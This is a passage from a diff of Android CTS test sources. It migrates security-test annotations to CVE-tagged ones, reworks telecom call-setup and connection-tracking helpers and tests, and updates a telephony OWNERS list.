@@ -41,7 +40,6 @@
  * {@link X509TrustManagerExtensions#checkServerTrusted(X509Certificate[], String, String)} when
  * multiple possible certificate paths exist.
  */
-@SecurityTest
 public class X509CertChainBuildingTest extends AndroidTestCase {
     private static final String CERT_ASSET_DIR = "path_building";
 
diff --git a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
index 5368e93..5cc4fe5 100644
--- a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
+++ b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
@@ -18,14 +18,13 @@
 
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.test.AndroidTestCase;
 
 import java.io.InputStream;
 
 import android.security.cts.R;
 
-@SecurityTest
 public class ZeroHeightTiffTest extends AndroidTestCase {
     /**
      * Verifies that the device fails to decode a zero height tiff file.
@@ -33,7 +32,7 @@
      * Prior to fixing bug 33300701, decoding resulted in undefined behavior (divide by zero).
      * With the fix, decoding will fail, without dividing by zero.
      */
-    @SecurityTest(minPatchLevel = "2017-03")
+    @AsbSecurityTest(cveBugId = 33300701)
     public void test_android_bug_33300701() {
         InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33300701);
         Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java
index c868b1e..92335e9 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java
@@ -2200,7 +2200,7 @@
             final PendingIntent intent = getLauncherApps().getShortcutIntent(
                     mPackageContext1.getPackageName(), "s1", null, getUserHandle());
             assertNotNull(intent);
-            assertFalse(intent.isImmutable());
+            assertTrue(intent.isImmutable());
             assertEquals(mPackageContext1.getPackageName(), intent.getCreatorPackage());
             assertEquals(getUserHandle(), intent.getCreatorUserHandle());
         });
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerFakingPublisherTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerFakingPublisherTest.java
index ed737b0..92f14a4 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerFakingPublisherTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerFakingPublisherTest.java
@@ -24,7 +24,7 @@
 import android.content.Intent;
 import android.content.pm.PackageManager.NameNotFoundException;
 import android.content.pm.ShortcutInfo;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.test.suitebuilder.annotation.SmallTest;
 
 import androidx.test.InstrumentationRegistry;
@@ -33,7 +33,6 @@
  * CTS for b/109824443.
  */
 @SmallTest
-@SecurityTest
 public class ShortcutManagerFakingPublisherTest extends ShortcutManagerCtsTestsBase {
     private static final String ANOTHER_PACKAGE =
             "android.content.pm.cts.shortcutmanager.packages.package4";
@@ -55,6 +54,7 @@
                 + "icon_quality=100";
     }
 
+    @AsbSecurityTest(cveBugId = 109824443)
     public void testSpoofingPublisher() {
         final Context myContext = getTestContext();
         final Context anotherContext;
diff --git a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesTest.java b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesTest.java
index 5fdfa8e..e779be5 100644
--- a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesTest.java
+++ b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesTest.java
@@ -59,7 +59,7 @@
 public class SimPhonebookContract_ElementaryFilesTest {
 
     // The minimum value for the ElementaryFiles.NAME_MAX_LENGTH column.
-    private static final int NAME_MAX_LENGTH_MINIMUM = 11;
+    private static final int NAME_MAX_LENGTH_MINIMUM = 2;
     // The minimum value for the ElementaryFiles.PHONE_NUMBER_MAX_LENGTH column.
     private static final int PHONE_NUMBER_MAX_LENGTH_MINIMUM = 20;
 
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
index e2fd053..e6c621a 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
+++ b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
@@ -21,7 +21,7 @@
 import android.net.Uri
 import android.os.Bundle
 
-import android.platform.test.annotations.SecurityTest
+import android.platform.test.annotations.AsbSecurityTest
 import androidx.test.rule.ActivityTestRule
 import androidx.test.runner.AndroidJUnit4
 import org.junit.Before
@@ -62,7 +62,7 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2019-11-01")
+    @AsbSecurityTest(cveBugId = [138441555])
     fun testCallSliceUri_ValidAuthority() {
         assumeFalse(isSlicesDisabled)
 
@@ -70,7 +70,7 @@
     }
 
     @Test(expected = SecurityException::class)
-    @SecurityTest(minPatchLevel = "2019-11-01")
+    @AsbSecurityTest(cveBugId = [138441555])
     fun testCallSliceUri_ShadyAuthority() {
         assumeFalse(isSlicesDisabled)
 
diff --git a/tests/tests/systemui/src/android/systemui/cts/tv/VpnDisclosureTest.kt b/tests/tests/systemui/src/android/systemui/cts/tv/VpnDisclosureTest.kt
index 6b54652..fbd3f72 100644
--- a/tests/tests/systemui/src/android/systemui/cts/tv/VpnDisclosureTest.kt
+++ b/tests/tests/systemui/src/android/systemui/cts/tv/VpnDisclosureTest.kt
@@ -18,6 +18,7 @@
 
 import android.app.Notification
 import android.content.ComponentName
+import android.platform.test.annotations.AppModeFull
 import android.platform.test.annotations.Postsubmit
 import android.server.wm.annotation.Group2
 import android.service.notification.StatusBarNotification
@@ -44,6 +45,7 @@
 @Postsubmit
 @Group2
 @RunWith(AndroidJUnit4::class)
+@AppModeFull
 class VpnDisclosureTest : TvTestBase() {
     companion object {
         private const val TAG = "VpnDisclosureTest"
diff --git a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
index 5ab5a90..439b377 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
@@ -664,8 +664,16 @@
             currentConnections++;
             currentCallCount++;
         }
-        placeAndVerifyCall(extras, VideoProfile.STATE_AUDIO_ONLY, currentConnections,
-                currentCallCount);
+        placeAndVerifyCall(extras, VideoProfile.STATE_AUDIO_ONLY, currentCallCount);
+        // The connectionService.lock is released in
+        // MockConnectionService#onCreateOutgoingConnection, however the connection will not
+        // actually be added to the list of connections in the ConnectionService until shortly
+        // afterwards.  So there is still a potential for the lock to be released before it would
+        // be seen by calls to ConnectionService#getAllConnections().
+        // We will wait here until the list of connections includes one more connection to ensure
+        // that placing the call has fully completed.
+        assertCSConnections(currentConnections);
+
         // Ensure the new outgoing call broadcast fired for the outgoing call.
         assertOutgoingCallBroadcastReceived(true);
 
@@ -698,7 +706,16 @@
     void placeAndVerifyCall(Bundle extras, int videoState) {
         int currentCallCount = (getInCallService() == null) ? 0 : getInCallService().getCallCount();
         // We expect placing the call adds a new call/connection.
-        placeAndVerifyCall(extras, videoState, getNumberOfConnections() + 1, currentCallCount + 1);
+        int expectedConnections = getNumberOfConnections() + 1;
+        placeAndVerifyCall(extras, videoState, currentCallCount + 1);
+        // The connectionService.lock is released in
+        // MockConnectionService#onCreateOutgoingConnection, however the connection will not
+        // actually be added to the list of connections in the ConnectionService until shortly
+        // afterwards.  So there is still a potential for the lock to be released before it would
+        // be seen by calls to ConnectionService#getAllConnections().
+        // We will wait here until the list of connections includes one more connection to ensure
+        // that placing the call has fully completed.
+        assertCSConnections(expectedConnections);
         assertOutgoingCallBroadcastReceived(true);
 
         // CTS test does not have read call log permission so should not get the phone number.
@@ -709,8 +726,7 @@
      *  Puts Telecom in a state where there is an active call provided by the
      *  {@link CtsConnectionService} which can be tested.
      */
-    void placeAndVerifyCall(Bundle extras, int videoState, int expectedConnectionCount,
-            int expectedCallCount) {
+    void placeAndVerifyCall(Bundle extras, int videoState, int expectedCallCount) {
         assertEquals("Lock should have no permits!", 0, mInCallCallbacks.lock.availablePermits());
         placeNewCallWithPhoneAccount(extras, videoState);
 
@@ -730,15 +746,6 @@
 
         assertEquals("InCallService should match the expected count.", expectedCallCount,
                 mInCallCallbacks.getService().getCallCount());
-
-        // The connectionService.lock is released in
-        // MockConnectionService#onCreateOutgoingConnection, however the connection will not
-        // actually be added to the list of connections in the ConnectionService until shortly
-        // afterwards.  So there is still a potential for the lock to be released before it would
-        // be seen by calls to ConnectionService#getAllConnections().
-        // We will wait here until the list of connections includes one more connection to ensure
-        // that placing the call has fully completed.
-        assertCSConnections(expectedConnectionCount);
     }
 
     /**
@@ -752,14 +759,26 @@
     public Connection placeAndVerifyEmergencyCall(boolean supportsHold) {
         Bundle extras = new Bundle();
         extras.putParcelable(TestUtils.EXTRA_PHONE_NUMBER, TEST_EMERGENCY_URI);
+        // We want to request the active connections vs number of connections because in some cases,
+        // we wait to destroy the underlying connection to prevent race conditions. This will result
+        // in Connections in the DISCONNECTED state.
         int currentConnectionCount = supportsHold ?
-                getNumberOfConnections() + 1 : getNumberOfConnections();
+                getNumberOfActiveConnections() + 1 : getNumberOfActiveConnections();
         int currentCallCount = (getInCallService() == null) ? 0 : getInCallService().getCallCount();
         currentCallCount = supportsHold ? currentCallCount + 1 : currentCallCount;
         // The device only supports a max of two calls active at any one time
         currentCallCount = Math.min(currentCallCount, 2);
-        placeAndVerifyCall(extras, VideoProfile.STATE_AUDIO_ONLY, currentConnectionCount,
-                currentCallCount);
+
+        placeAndVerifyCall(extras, VideoProfile.STATE_AUDIO_ONLY, currentCallCount);
+        // The connectionService.lock is released in
+        // MockConnectionService#onCreateOutgoingConnection, however the connection will not
+        // actually be added to the list of connections in the ConnectionService until shortly
+        // afterwards.  So there is still a potential for the lock to be released before it would
+        // be seen by calls to ConnectionService#getAllConnections().
+        // We will wait here until the list of connections includes one more connection to ensure
+        // that placing the call has fully completed.
+        assertActiveCSConnections(currentConnectionCount);
+
         assertOutgoingCallBroadcastReceived(true);
         Connection connection = verifyConnectionForOutgoingCall(TEST_EMERGENCY_URI);
         TestUtils.waitOnAllHandlers(getInstrumentation());
@@ -770,6 +789,12 @@
         return CtsConnectionService.getAllConnectionsFromTelecom().size();
     }
 
+    int getNumberOfActiveConnections() {
+        return CtsConnectionService.getAllConnectionsFromTelecom().stream()
+                .filter(c -> c.getState() != Connection.STATE_DISCONNECTED).collect(
+                        Collectors.toSet()).size();
+    }
+
     Connection getConnection(Uri address) {
         return CtsConnectionService.getAllConnectionsFromTelecom().stream()
                 .filter(c -> c.getAddress().equals(address)).findFirst().orElse(null);
@@ -1217,6 +1242,23 @@
     );
     }
 
+    void assertActiveCSConnections(final int numConnections) {
+        waitUntilConditionIsTrueOrTimeout(new Condition() {
+                                              @Override
+                                              public Object expected() {
+                                                  return numConnections;
+                                              }
+
+                                              @Override
+                                              public Object actual() {
+                                                  return getNumberOfActiveConnections();
+                                              }
+                                          },
+                WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                "ConnectionService should contain " + numConnections + " connections."
+        );
+    }
+
     void assertCSConnections(final int numConnections) {
         waitUntilConditionIsTrueOrTimeout(new Condition() {
                                               @Override
diff --git a/tests/tests/telecom/src/android/telecom/cts/BluetoothCallQualityReportTest.java b/tests/tests/telecom/src/android/telecom/cts/BluetoothCallQualityReportTest.java
new file mode 100644
index 0000000..dc40407
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/BluetoothCallQualityReportTest.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import android.telecom.BluetoothCallQualityReport;
+
+public class BluetoothCallQualityReportTest extends BaseTelecomTestWithMockServices {
+    /**
+     * Test passing of BT call quality report to CDS.
+     */
+    public void testBluetoothCallQualityReport() {
+        long timestamp = System.currentTimeMillis();
+        int rssi = 1;
+        int snr = 2;
+        int retransmissionCount = 3;
+        int packetsNotReceiveCount = 4;
+        int negativeAcknowledgementCount = 5;
+
+        BluetoothCallQualityReport report = new BluetoothCallQualityReport.Builder()
+                .setSentTimestampMillis(timestamp)
+                .setChoppyVoice(true)
+                .setRssiDbm(rssi)
+                .setSnrDb(snr)
+                .setRetransmittedPacketsCount(retransmissionCount)
+                .setPacketsNotReceivedCount(packetsNotReceiveCount)
+                .setNegativeAcknowledgementCount(negativeAcknowledgementCount)
+                .build();
+
+        assertEquals(timestamp, report.getSentTimestampMillis());
+        assertEquals(true, report.isChoppyVoice());
+        assertEquals(rssi, report.getRssiDbm());
+        assertEquals(snr, report.getSnrDb());
+        assertEquals(retransmissionCount, report.getRetransmittedPacketsCount());
+        assertEquals(packetsNotReceiveCount, report.getPacketsNotReceivedCount());
+        assertEquals(negativeAcknowledgementCount, report.getNegativeAcknowledgementCount());
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/telecom/src/android/telecom/cts/CtsRoleManagerAdapter.java b/tests/tests/telecom/src/android/telecom/cts/CtsRoleManagerAdapter.java
index 2a05547..0b77a96 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CtsRoleManagerAdapter.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CtsRoleManagerAdapter.java
@@ -57,6 +57,10 @@
         mRoleHolders = new ConcurrentHashMap<>();
     }
 
+    public boolean isDialerRoleAvailable() {
+        return mRoleManager.isRoleAvailable(RoleManager.ROLE_DIALER);
+    }
+
     public void setDialerRoleHolder(String packageName)
             throws Exception {
         if (mRoleManager != null) {
diff --git a/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java b/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java
index 47b1462..a1d9e6d 100644
--- a/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java
+++ b/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java
@@ -85,7 +85,9 @@
 
         Uri normalCallNumber = createRandomTestNumber();
         addAndVerifyNewIncomingCall(normalCallNumber, null);
-        Connection incomingConnection = verifyConnectionForIncomingCall();
+        MockConnection incomingConnection = verifyConnectionForIncomingCall();
+        // Ensure destroy happens after emergency call is placed to prevent unbind -> rebind.
+        incomingConnection.disableAutoDestroy();
         Call incomingCall = getInCallService().getLastCall();
         assertCallState(incomingCall, Call.STATE_RINGING);
 
@@ -94,6 +96,7 @@
         Call eCall = getInCallService().getLastCall();
         assertCallState(eCall, Call.STATE_DIALING);
 
+        incomingConnection.destroy();
         assertConnectionState(incomingConnection, Connection.STATE_DISCONNECTED);
         assertCallState(incomingCall, Call.STATE_DISCONNECTED);
 
@@ -123,7 +126,9 @@
 
         Uri normalIncomingCallNumber = createRandomTestNumber();
         addAndVerifyNewIncomingCall(normalIncomingCallNumber, null);
-        Connection incomingConnection = verifyConnectionForIncomingCall();
+        MockConnection incomingConnection = verifyConnectionForIncomingCall();
+        // Ensure destroy happens after emergency call is placed to prevent unbind -> rebind.
+        incomingConnection.disableAutoDestroy();
         Call incomingCall = getInCallService().getLastCall();
         assertCallState(incomingCall, Call.STATE_RINGING);
 
@@ -132,6 +137,7 @@
         Call eCall = getInCallService().getLastCall();
         assertCallState(eCall, Call.STATE_DIALING);
 
+        incomingConnection.destroy();
         assertConnectionState(incomingConnection, Connection.STATE_DISCONNECTED);
         assertCallState(incomingCall, Call.STATE_DISCONNECTED);
 
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
index 299ffba..f8945ce 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
@@ -60,6 +60,7 @@
     private PhoneAccountHandle mPhoneAccountHandle;
     private RemoteConnection mRemoteConnection = null;
     private RttTextStream mRttTextStream;
+    private boolean mAutoDestroy = true;
 
     private SparseArray<InvokeCounter> mInvokeCounterMap = new SparseArray<>(13);
 
@@ -91,7 +92,7 @@
         if (mRemoteConnection != null) {
             mRemoteConnection.reject();
         }
-        destroy();
+        if (mAutoDestroy) destroy();
     }
 
     @Override
@@ -99,7 +100,7 @@
         super.onReject(rejectReason);
         setDisconnected(new DisconnectCause(DisconnectCause.REJECTED,
                 Integer.toString(rejectReason)));
-        destroy();
+        if (mAutoDestroy) destroy();
     }
 
     @Override
@@ -109,7 +110,7 @@
         if (mRemoteConnection != null) {
             mRemoteConnection.reject();
         }
-        destroy();
+        if (mAutoDestroy) destroy();
     }
 
     @Override
@@ -137,7 +138,7 @@
         if (mRemoteConnection != null) {
             mRemoteConnection.disconnect();
         }
-        destroy();
+        if (mAutoDestroy) destroy();
     }
 
     @Override
@@ -147,7 +148,7 @@
         if (mRemoteConnection != null) {
             mRemoteConnection.abort();
         }
-        destroy();
+        if (mAutoDestroy) destroy();
     }
 
     @Override
@@ -279,6 +280,14 @@
         }
     }
 
+    /**
+     * Do not destroy after setting disconnected for cases that need finer state control. If
+     * disabled the caller will need to call destroy manually.
+     */
+    public void disableAutoDestroy() {
+        mAutoDestroy = false;
+    }
+
     public int getCurrentState()  {
         return mState;
     }
diff --git a/tests/tests/telecom/src/android/telecom/cts/RemoteConferenceTest.java b/tests/tests/telecom/src/android/telecom/cts/RemoteConferenceTest.java
index 7ac728f..12574e2 100644
--- a/tests/tests/telecom/src/android/telecom/cts/RemoteConferenceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/RemoteConferenceTest.java
@@ -29,6 +29,7 @@
 import android.telecom.RemoteConference;
 import android.telecom.RemoteConnection;
 import android.telecom.TelecomManager;
+import android.util.Log;
 
 import java.util.ArrayList;
 import java.util.List;
@@ -58,19 +59,14 @@
     MockConference mConference, mRemoteConference;
     RemoteConference mRemoteConferenceObject;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        if (mShouldTestTelecom) {
-            addRemoteConferenceCall();
-            verifyRemoteConferenceObject(mRemoteConferenceObject, mRemoteConference, mConference);
-        }
-    }
-
     public void testRemoteConferenceCreate() {
         if (!mShouldTestTelecom) {
             return;
         }
+
+        addRemoteConferenceCall();
+        verifyRemoteConferenceObject(mRemoteConferenceObject, mRemoteConference, mConference);
+
         final Call confCall = mInCallCallbacks.getService().getLastConferenceCall();
         assertCallState(confCall, Call.STATE_ACTIVE);
 
@@ -94,6 +90,10 @@
         if (!mShouldTestTelecom) {
             return;
         }
+
+        addRemoteConferenceCall();
+        verifyRemoteConferenceObject(mRemoteConferenceObject, mRemoteConference, mConference);
+
         final Call confCall = mInCallCallbacks.getService().getLastConferenceCall();
         assertCallState(confCall, Call.STATE_ACTIVE);
 
@@ -116,6 +116,10 @@
         if (!mShouldTestTelecom) {
             return;
         }
+
+        addRemoteConferenceCall();
+        verifyRemoteConferenceObject(mRemoteConferenceObject, mRemoteConference, mConference);
+
         final Call confCall = mInCallCallbacks.getService().getLastConferenceCall();
         assertCallState(confCall, Call.STATE_ACTIVE);
 
@@ -148,6 +152,10 @@
         if (!mShouldTestTelecom) {
             return;
         }
+
+        addRemoteConferenceCall();
+        verifyRemoteConferenceObject(mRemoteConferenceObject, mRemoteConference, mConference);
+
         final Call confCall = mInCallCallbacks.getService().getLastConferenceCall();
         assertCallState(confCall, Call.STATE_ACTIVE);
 
@@ -180,6 +188,10 @@
         if (!mShouldTestTelecom) {
             return;
         }
+
+        addRemoteConferenceCall();
+        verifyRemoteConferenceObject(mRemoteConferenceObject, mRemoteConference, mConference);
+
         final Call confCall = mInCallCallbacks.getService().getLastConferenceCall();
         assertCallState(confCall, Call.STATE_ACTIVE);
 
@@ -203,6 +215,10 @@
         if (!mShouldTestTelecom) {
             return;
         }
+
+        addRemoteConferenceCall();
+        verifyRemoteConferenceObject(mRemoteConferenceObject, mRemoteConference, mConference);
+
         Handler handler = setupRemoteConferenceCallbacksTest();
 
         final InvokeCounter callbackInvoker =
@@ -229,6 +245,10 @@
         if (!mShouldTestTelecom) {
             return;
         }
+
+        addRemoteConferenceCall();
+        verifyRemoteConferenceObject(mRemoteConferenceObject, mRemoteConference, mConference);
+
         Handler handler = setupRemoteConferenceCallbacksTest();
 
         final InvokeCounter callbackInvoker =
@@ -256,6 +276,10 @@
         if (!mShouldTestTelecom) {
             return;
         }
+
+        addRemoteConferenceCall();
+        verifyRemoteConferenceObject(mRemoteConferenceObject, mRemoteConference, mConference);
+
         Handler handler = setupRemoteConferenceCallbacksTest();
 
         final InvokeCounter callbackInvoker =
@@ -287,6 +311,10 @@
         if (!mShouldTestTelecom) {
             return;
         }
+
+        addRemoteConferenceCall();
+        verifyRemoteConferenceObject(mRemoteConferenceObject, mRemoteConference, mConference);
+
         Handler handler = setupRemoteConferenceCallbacksTest();
 
         final InvokeCounter callbackInvoker =
@@ -319,6 +347,10 @@
         if (!mShouldTestTelecom) {
             return;
         }
+
+        addRemoteConferenceCall();
+        verifyRemoteConferenceObject(mRemoteConferenceObject, mRemoteConference, mConference);
+
         Handler handler = setupRemoteConferenceCallbacksTest();
 
         final InvokeCounter callbackInvoker =
@@ -347,6 +379,10 @@
         if (!mShouldTestTelecom) {
             return;
         }
+
+        addRemoteConferenceCall();
+        verifyRemoteConferenceObject(mRemoteConferenceObject, mRemoteConference, mConference);
+
         Handler handler = setupRemoteConferenceCallbacksTest();
 
         final InvokeCounter callbackInvoker =
@@ -376,6 +412,10 @@
         if (!mShouldTestTelecom) {
             return;
         }
+
+        addRemoteConferenceCall();
+        verifyRemoteConferenceObject(mRemoteConferenceObject, mRemoteConference, mConference);
+
         Handler handler = setupRemoteConferenceCallbacksTest();
 
         final InvokeCounter callbackInvoker =
@@ -411,6 +451,10 @@
         if (!mShouldTestTelecom) {
             return;
         }
+
+        addRemoteConferenceCall();
+        verifyRemoteConferenceObject(mRemoteConferenceObject, mRemoteConference, mConference);
+
         Handler handler = setupRemoteConferenceCallbacksTest();
 
         final InvokeCounter callbackInvoker =
@@ -436,6 +480,10 @@
         if (!mShouldTestTelecom) {
             return;
         }
+
+        addRemoteConferenceCall();
+        verifyRemoteConferenceObject(mRemoteConferenceObject, mRemoteConference, mConference);
+
         Handler handler = setupRemoteConferenceCallbacksTest();
 
         final InvokeCounter callbackInvoker =
diff --git a/tests/tests/telecom/src/android/telecom/cts/ThirdPartyInCallServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ThirdPartyInCallServiceTest.java
index 4166383..2fd4626 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ThirdPartyInCallServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ThirdPartyInCallServiceTest.java
@@ -47,12 +47,18 @@
     private boolean mSkipNullUnboundLatch;
     private String mPreviousRoleHolder;
     private String mThirdPartyPackageName;
+    private boolean mIsDialerRoleAvailable;
 
     @Override
     public void setUp() throws Exception {
         super.setUp();
         mContext = getInstrumentation().getContext();
         mCtsRoleManagerAdapter = new CtsRoleManagerAdapter(getInstrumentation());
+
+        // Do not continue with tests if the Dialer role is not available.
+        mIsDialerRoleAvailable = mCtsRoleManagerAdapter.isDialerRoleAvailable();
+        if (!mIsDialerRoleAvailable) return;
+
         setUpControl();
         mICtsThirdPartyInCallServiceControl.resetLatchForServiceBound(false);
         mThirdPartyPackageName = CtsThirdPtyDialerInCallServiceControl.class.getPackage().getName();
@@ -63,8 +69,10 @@
 
     @Override
     public void tearDown() throws Exception {
-        mICtsThirdPartyInCallServiceControl.resetCalls();
-        mCtsRoleManagerAdapter.setDialerRoleHolder(mPreviousRoleHolder);
+        if (mIsDialerRoleAvailable) {
+            mICtsThirdPartyInCallServiceControl.resetCalls();
+            mCtsRoleManagerAdapter.setDialerRoleHolder(mPreviousRoleHolder);
+        }
         super.tearDown();
     }
 
@@ -75,6 +83,8 @@
      * @throws Exception
      */
     public void testPermissionGranted() throws Exception {
+        if (!mIsDialerRoleAvailable) return;
+
         assertFalse(mICtsThirdPartyInCallServiceControl.checkPermissionGrant(
                 Manifest.permission.READ_VOICEMAIL));
         assertFalse(mICtsThirdPartyInCallServiceControl.checkPermissionGrant(
diff --git a/tests/tests/telecom2/src/android/telecom/cts/TelecomManagerNoPermissionsTest.java b/tests/tests/telecom2/src/android/telecom/cts/TelecomManagerNoPermissionsTest.java
index 8e2d759..d2d9539 100644
--- a/tests/tests/telecom2/src/android/telecom/cts/TelecomManagerNoPermissionsTest.java
+++ b/tests/tests/telecom2/src/android/telecom/cts/TelecomManagerNoPermissionsTest.java
@@ -75,16 +75,6 @@
             } catch (SecurityException e) {
                 // expected
             }
-
-            TestUtils.disableCompatCommand(getInstrumentation(),
-                    TestUtils.ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION_STRING);
-            try {
-                tm.getCallState();
-            } catch (SecurityException e) {
-                fail("TelecomManager#getCallState must not require READ_PHONE_STATE when "
-                        + "TelecomManager#ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION is "
-                        + "disabled.");
-            }
         } finally {
             TestUtils.resetCompatCommand(getInstrumentation(),
                     TestUtils.ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION_STRING);
@@ -108,16 +98,6 @@
             } catch (SecurityException e) {
                 //expected
             }
-
-            TestUtils.disableCompatCommand(getInstrumentation(),
-                    TestUtils.ENABLE_GET_PHONE_ACCOUNT_PERMISSION_PROTECTION_STRING);
-            try {
-                mTelecomManager.getPhoneAccount(TestUtils.TEST_DEFAULT_PHONE_ACCOUNT_HANDLE_1);
-            } catch (SecurityException e) {
-                fail("TelecomManager#getPhoneAccount shouldn't require READ_PHONE_NUMBERS or "
-                        + "READ_PRIVILEGED_PHONE_STATE when "
-                        + "ENABLE_GET_PHONE_ACCOUNT_PERMISSION_PROTECTION is disabled");
-            }
         } finally {
             TestUtils.resetCompatCommand(getInstrumentation(),
                     TestUtils.ENABLE_GET_PHONE_ACCOUNT_PERMISSION_PROTECTION_STRING);
diff --git a/tests/tests/telephony/OWNERS b/tests/tests/telephony/OWNERS
index c28e193..1111752 100644
--- a/tests/tests/telephony/OWNERS
+++ b/tests/tests/telephony/OWNERS
@@ -3,14 +3,15 @@
 breadley@google.com
 fionaxu@google.com
 jackyu@google.com
-hallliu@google.com
 rgreenwalt@google.com
 tgunn@google.com
 jminjie@google.com
 shuoq@google.com
-refuhoo@google.com
 nazaninb@google.com
 sarahchin@google.com
-dbright@google.com
 xiaotonj@google.com
+huiwang@google.com
+jayachandranc@google.com
+chinmayd@google.com
+amruthr@google.com
 
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
index f9175be..e62adc5 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
@@ -45,7 +45,7 @@
 import android.content.pm.PackageManager;
 import android.os.Looper;
 import android.os.PersistableBundle;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.telephony.CarrierConfigManager;
 import android.telephony.SubscriptionManager;
 import android.telephony.SubscriptionManager.OnSubscriptionsChangedListener;
@@ -201,8 +201,8 @@
         checkConfig(config);
     }
 
-    @SecurityTest
     @Test
+    @AsbSecurityTest(cveBugId = 73136824)
     public void testRevokePermission() {
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             return;
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/ServiceStateTest.java b/tests/tests/telephony/current/src/android/telephony/cts/ServiceStateTest.java
index b3cda70..5d76420 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/ServiceStateTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/ServiceStateTest.java
@@ -170,24 +170,32 @@
 
     @Test
     public void testNrStateRedacted() {
+        // Verify that NR State is not leaked in user builds.
+        if (Build.IS_DEBUGGABLE) return;
         final TelephonyManager tm = getContext().getSystemService(TelephonyManager.class);
 
-        // Verify that NR State is not leaked in user builds.
-        if (!Build.IS_DEBUGGABLE) {
-            final String sss = tm.getServiceState().toString();
-            // The string leaked in previous releases is "nrState=<val>"; test that there is
-            // no matching or highly similar string leak, such as:
-            // nrState=NONE
-            // nrState=0
-            // mNrState=RESTRICTED
-            // NRSTATE=NOT_RESTRICTED
-            // nrState = CONNECTED
-            // etc.
-            Pattern p = Pattern.compile("nrState\\s*=\\s*[a-zA-Z0-9_]+", Pattern.CASE_INSENSITIVE);
-            Matcher m = p.matcher(sss);
-            // Need to use if (find) fail to ensure that the start and end are populated
-            if (m.find()) fail("Found nrState reported as: " + sss.substring(m.start(), m.end()));
-        }
